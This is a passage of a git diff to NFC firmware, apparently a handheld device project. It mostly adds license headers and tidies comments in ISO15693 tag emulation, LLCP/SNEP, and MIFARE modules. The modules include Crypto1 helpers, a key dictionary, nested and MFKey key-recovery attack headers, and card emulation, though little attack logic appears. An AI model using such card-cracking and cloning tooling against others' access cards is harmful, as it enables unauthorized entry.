NFC-V mode handles this automatically. * - * 5. SLEEP/SENSE/ACTIVE state machine is identical to T2T. + * 5. SLEEP/SENSE/ACTIVE state machine controls wake-up and command handling. * * ───────────────────────────────────────────────────────────────────────────── * CRITICAL REGISTER DIFFERENCES vs NFC-A target: @@ -30,12 +43,9 @@ * REG_AUX_DEF : not used for NFC-V (no UID size config needed) * PT Memory : not applicable (NFC-V has no hardware anticol memory) * - * ───────────────────────────────────────────────────────────────────────────── * Field-detector wake-up (same as T2T): * * OP_CTRL = 0xC3 (EN + RX_EN + en_fd_c=11) - * CMD_GOTO_SLEEP → monitor efd / IRQ_TGT_WU_A - * CMD_GOTO_SENSE → wait for RXE (INVENTORY or any command) */ #include "iso15693_emu.h" @@ -54,7 +64,7 @@ static const char* TAG = "iso15693_emu"; -/* ─── Constants ─────────────────────────────────────────────────────────────── */ +/* ─── Constants ─────────────────────────────────────────────────────────────── */ #define MODE_TARGET_NFCV 0xB0U /**< target=1, om=NFC-V */ #define OP_CTRL_TARGET 0xC3U /**< EN + RX_EN + en_fd_c=11 */ #define TIMER_I_EON 0x10U /**< external field detected */ @@ -62,14 +72,14 @@ static const char* TAG = "iso15693_emu"; #define RESP_FLAGS_OK 0x00U /**< no error */ #define RESP_FLAGS_ERR 0x01U /**< error flag set */ -/* ─── State machine ─────────────────────────────────────────────────────────── */ +/* ─── State machine ─────────────────────────────────────────────────────────── */ typedef enum { ISO15693_STATE_SLEEP, /**< low power, field detector on */ ISO15693_STATE_SENSE, /**< ready to receive first command */ ISO15693_STATE_ACTIVE, /**< tag selected / responding */ } iso15693_emu_state_t; -/* ─── Module state ──────────────────────────────────────────────────────────── */ +/* ─── Module state ──────────────────────────────────────────────────────────── */ static iso15693_emu_card_t s_card; static iso15693_emu_state_t s_state = ISO15693_STATE_SLEEP; static bool s_quiet = false; /**< STAY_QUIET received */ @@ -80,7 +90,7 @@ static bool s_block_locked[ISO15693_EMU_MAX_BLOCKS]; static bool s_afi_locked = false; static bool s_dsfid_locked = false; -/* ─── Helpers ────────────────────────────────────────────────────────────────── */ +/* ─── Helpers ────────────────────────────────────────────────────────────────── */ static bool wait_oscillator(int timeout_ms) { @@ -94,7 +104,7 @@ static bool wait_oscillator(int timeout_ms) } vTaskDelay(pdMS_TO_TICKS(1)); } - ESP_LOGW(TAG, "Osc timeout — continuing"); + ESP_LOGW(TAG, "Osc timeout — continuing"); return false; } @@ -151,7 +161,6 @@ static bool is_for_us(const uint8_t* frame, int len) return true; } -/* ─── Command handlers ───────────────────────────────────────────────────────── */ static void handle_inventory(const uint8_t* frame, int len) { @@ -167,7 +176,7 @@ static void handle_inventory(const uint8_t* frame, int len) resp[1] = s_card.dsfid; memcpy(&resp[2], s_card.uid, ISO15693_UID_LEN); - ESP_LOGI(TAG, "INVENTORY → replying with UID"); + ESP_LOGI(TAG, "INVENTORY -> replying with UID"); tx_response(resp, sizeof(resp)); s_state = ISO15693_STATE_ACTIVE; @@ -200,7 +209,7 @@ static void handle_get_system_info(const uint8_t* frame, int len) resp[pos++] = (uint8_t)((s_card.block_size - 1U) & 0x1FU); resp[pos++] = s_card.ic_ref; - ESP_LOGI(TAG, "GET_SYSTEM_INFO → blocks=%u size=%u", + ESP_LOGI(TAG, "GET_SYSTEM_INFO -> blocks=%u size=%u", s_card.block_count, s_card.block_size); tx_response(resp, pos); } @@ -209,7 +218,7 @@ static void handle_read_single_block(const uint8_t* frame, int len) { if (!is_for_us(frame, len)) return; - /* block number is after [flags][cmd][uid×8] = byte 10 */ + /* block number is after [flags][cmd][uid×8] = byte 10 */ int blk_offset = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; if (len < blk_offset + 1) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } @@ -267,7 +276,7 @@ static void handle_read_multiple_blocks(const uint8_t* frame, int len) if (len < blk_offset + 2) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } uint8_t first = frame[blk_offset]; - uint8_t count = (uint8_t)(frame[blk_offset + 1] + 1U); /* n-1 → n */ + uint8_t count = (uint8_t)(frame[blk_offset + 1] + 1U); /* n-1 → n */ if ((unsigned)(first + count) > s_card.block_count) { tx_error(ISO15693_ERR_BLOCK_UNAVAILABLE); @@ -371,7 +380,7 @@ static void handle_get_multi_block_sec(const uint8_t* frame, int len) static void handle_stay_quiet(const uint8_t* frame, int len) { if (!uid_matches(frame, len, 2)) return; - ESP_LOGI(TAG, "STAY_QUIET → silent until power cycle"); + ESP_LOGI(TAG, "STAY_QUIET -> silent until power cycle"); s_quiet = true; s_state = ISO15693_STATE_SLEEP; hb_spi_direct_cmd(CMD_GOTO_SLEEP); @@ -613,7 +622,7 @@ void iso15693_emu_run_step(void) /* Fall through to ACTIVE handling below */ } else { if (++s_sense_idle > 250U) { - ESP_LOGI(TAG, "SENSE: timeout (no RX in 500ms) → SLEEP"); + ESP_LOGI(TAG, "SENSE: timeout (no RX in 500ms) → SLEEP"); s_sense_idle = 0; s_state = ISO15693_STATE_SLEEP; hb_spi_direct_cmd(CMD_GOTO_SLEEP); diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h b/firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h index 3770963c..30cd59f9 100644 --- a/firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file llcp.h * @brief LLCP (Logical Link Control Protocol) over NFC-DEP. diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h b/firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h index a236594b..70da6a94 100644 --- a/firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file snep.h * @brief SNEP (Simple NDEF Exchange Protocol) client helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c b/firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c index 71251233..6f3c8ea1 100644 --- a/firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file llcp.c * @brief LLCP (Logical Link Control Protocol) over NFC-DEP (best-effort). diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/snep.c b/firmware_p4/components/Applications/nfc/protocols/llcp/snep.c index df5defb1..03835a1f 100644 --- a/firmware_p4/components/Applications/nfc/protocols/llcp/snep.c +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/snep.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file snep.c * @brief SNEP (Simple NDEF Exchange Protocol) client helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h index 49aeeb2b..563679fd 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file crypto1.h * @brief Crypto1 cipher for MIFARE Classic. @@ -36,7 +49,6 @@ uint8_t crypto1_byte(crypto1_state_t *s, uint8_t in, int is_encrypted); /** * Clock one 32-bit word through the cipher. - * Uses BEBIT byte-swapped bit ordering (proxmark3/Flipper compatible). * Returns keystream word in BEBIT order. */ uint32_t crypto1_word(crypto1_state_t *s, uint32_t in, int is_encrypted); diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h index df5a9304..33e2f9f2 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h @@ -1,8 +1,21 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_classic.h * @brief MIFARE Classic auth, read, write sectors. * - * Fixed implementation matching Flipper Zero auth flow. + * MIFARE Classic authentication and data access helpers. */ #ifndef MF_CLASSIC_H #define MF_CLASSIC_H diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h index 6d4b324f..194ee192 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_emu.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_classic_emu.h */ diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h index b797040b..4543bfcd 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_classic_writer.h * @brief MIFARE Classic block write with Crypto1 authentication. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h index 566aa4ab..969d4198 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #ifndef MF_DESFIRE_H #define MF_DESFIRE_H diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h index 50f46b7a..9eb9bc57 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_desfire_emu.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_desfire_emu.h * @brief Minimal MIFARE DESFire (native) APDU emulation helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h index 1a331399..8b484f3c 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #ifndef MF_KEY_CACHE_H #define MF_KEY_CACHE_H diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h index c12cdc0b..cb94ad70 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #ifndef MF_KEY_DICT_H #define MF_KEY_DICT_H diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h index 697f68cb..f2658ca4 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #ifndef MF_KNOWN_CARDS_H #define MF_KNOWN_CARDS_H diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h index 1c1602ac..2b95e604 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #ifndef MF_NESTED_H #define MF_NESTED_H diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h index e4f7cf6c..3385af09 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_plus.h * @brief MiFARE Plus SL3 auth and crypto helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h index 01c3f3f3..d13bd481 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h @@ -1,9 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_ultralight.h * @brief MIFARE Ultralight / NTAG READ, WRITE, PWD_AUTH, GET_VERSION. - * - * These commands are proven in the working code (ntag_get_version, - * ntag_pwd_auth, st25r_read_pages). */ #ifndef MF_ULTRALIGHT_H #define MF_ULTRALIGHT_H @@ -13,7 +23,6 @@ /** * READ (cmd 0x30) reads 4 pages (16 bytes) starting at page. - * From working code st25r_read_pages(). * Returns bytes received (16 expected + 2 CRC = 18), 0 on fail. */ int mful_read_pages(uint8_t page, uint8_t out[18]); @@ -25,14 +34,12 @@ hb_nfc_err_t mful_write_page(uint8_t page, const uint8_t data[4]); /** * GET_VERSION (cmd 0x60) returns 8 bytes (NTAG). - * From working code ntag_get_version(). */ int mful_get_version(uint8_t out[8]); /** * PWD_AUTH (cmd 0x1B) authenticate with 4-byte password. * Returns PACK (2 bytes) on success. - * From working code ntag_pwd_auth(). */ int mful_pwd_auth(const uint8_t pwd[4], uint8_t pack[2]); diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h index c75efefe..73380847 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mfkey.h * @brief MFKey key recovery attacks for MIFARE Classic. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c index 04ad5277..cf0a05e1 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_classic_emu.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_classic_emu.c * @brief MIFARE Classic card emulation. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c index e969e62f..7f1a93ce 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "mf_desfire.h" #include diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c index ff890657..284fad54 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_desfire_emu.c * @brief Minimal MIFARE DESFire (native) APDU emulation. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c index d9476f5a..9c8833a4 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c @@ -1,6 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_key_cache.c - * @brief MIFARE UID-keyed sector key cache — in-memory + NVS-backed persistence. + * @brief MIFARE UID-keyed sector key cache - in-memory + NVS-backed persistence. */ #include diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c index af9ab7df..8a27505e 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c @@ -1,6 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_key_dict.c - * @brief MIFARE key dictionary — built-in keys + NVS-backed user key storage. + * @brief MIFARE key dictionary - built-in keys + NVS-backed user key storage. */ #include diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c index 5a281a24..9611696a 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file mf_plus.c * @brief MiFARE Plus SL3 auth and crypto helpers. diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c index 0821ecd9..f311d73f 100644 --- a/firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c @@ -1,4 +1,16 @@ - +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "crypto1.h" #define SWAPENDIAN(x) \ @@ -95,13 +107,7 @@ uint8_t crypto1_byte(crypto1_state_t *s, uint8_t in, int is_encrypted) } /** - * crypto1_word clock 32 bits in BEBIT order. - * - * BEBIT(x, i) = bit ((i) ^ 24) of x. - * This processes bytes in MSB-first order but bits within each byte LSB-first. - * Output uses the same byte-swapped convention (<< (24 ^ i)). - * - * This is identical to the Flipper Zero / proxmark3 implementation. + * Clock a 32-bit word in BEBIT order. */ uint32_t crypto1_word(crypto1_state_t *s, uint32_t in, int is_encrypted) { @@ -113,11 +119,7 @@ uint32_t crypto1_word(crypto1_state_t *s, uint32_t in, int is_encrypted) } /** - * crypto1_filter_output read keystream bit WITHOUT advancing LFSR. - * - * Used for encrypted parity: after clocking 8 data bits with crypto1_byte, - * call this to get the parity keystream bit without disturbing the LFSR state. - * This matches how the Flipper Zero handles parity in crypto1_encrypt(). + * Read the current keystream bit without advancing the LFSR. */ uint8_t crypto1_filter_output(crypto1_state_t *s) { @@ -125,12 +127,7 @@ uint8_t crypto1_filter_output(crypto1_state_t *s) } /** - * prng_successor MIFARE Classic card PRNG. - * - * CRITICAL: SWAPENDIAN before and after computation! - * The Flipper Zero does this and without it the ar/at values are wrong. - * - * Input/output are in big-endian (wire) byte order. + * MIFARE Classic card PRNG. */ uint32_t crypto1_prng_successor(uint32_t x, uint32_t n) { @@ -146,47 +143,6 @@ uint32_t crypto1_prng_successor(uint32_t x, uint32_t n) #undef LF_POLY_ODD #undef LF_POLY_EVEN -/* - * BUGS FIXED (compared to previous version): - * - * 1. CRYPTO1 LFSR REPRESENTATION - * Old: single uint64_t state custom filter using fa/fb with specific bit indices. - * New: split odd/even uint32_t compact proxmark3 filter lookup tables. - * (Both should produce the same keystream if correct, but the old implementation - * had subtle index mapping differences.) - * - * 2. crypto1_word BIT ORDERING - * Old: processed bits 0..31 linearly (plain LSB-first). - * New: uses BEBIT(x, i) = bit((i)^24) byte-swapped order matching proxmark3. - * Impact: priming step (uid XOR nt) fed bits in wrong order entire keystream wrong. - * - * 3. prng_successor MISSING SWAPENDIAN - * Old: no byte 